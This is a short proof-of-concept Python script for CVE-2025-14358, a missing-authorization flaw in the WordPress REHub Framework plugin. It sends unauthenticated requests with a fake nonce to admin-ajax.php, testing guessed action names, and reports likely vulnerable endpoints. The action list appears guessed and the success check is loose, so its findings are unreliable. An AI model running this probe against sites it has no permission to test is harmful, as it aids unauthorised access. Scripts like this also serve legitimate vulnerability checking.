CVE-2025-14358 WordPress REHub Framework插件授权缺失漏洞

# CVE-2025-14358 PoC - REHub Framework Authorization Bypass # Target: WordPress site with REHub Framework plugin <= 19.9.5 import requests import sys from urllib.parse import urljoin def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-14358 Missing Authorization in REHub Framework """ # Common admin-ajax.php endpoint ajax_endpoint = urljoin(target_url, '/wp-admin/admin-ajax.php') # Common REHub Framework admin actions that should require authentication sensitive_actions = [ 'rehub_admin_action', 'rehub_price_history', 'rehub_coupon_save', 'rehub_merchant_import', 'rehub_sync_data', 'rehub_export_data', 'rehub_update_settings' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-14358: Missing Authorization in REHub Framework") print("=" * 60) vulnerable = False for action in sensitive_actions: # Send request without authentication cookies data = { 'action': action, 'nonce': 'fake_nonce_for_testing' } try: response = requests.post( ajax_endpoint, data=data, timeout=10, verify=False, allow_redirects=False ) # Check if response indicates successful unauthorized access # (e.g., returns admin data instead of 401/403 error) if response.status_code == 200: # Check for signs of successful unauthorized access if 'error' not in response.text.lower() or \ ('"success":true' in response.text or '"status":"success"' in response.text): print(f"[!] Potential vulnerability found with action: {action}") print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)} bytes") vulnerable = True except requests.RequestException as e: print(f"[-] Error testing action {action}: {e}") if vulnerable: print("\n[!] Target appears to be VULNERABLE to CVE-2025-14358") print("[!] Recommendation: Update REHub Framework to version > 19.9.5") else: print("\n[*] Target does not appear to be vulnerable") return vulnerable if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-14358-poc.py <target_url>") print("Example: python cve-2025-14358-poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)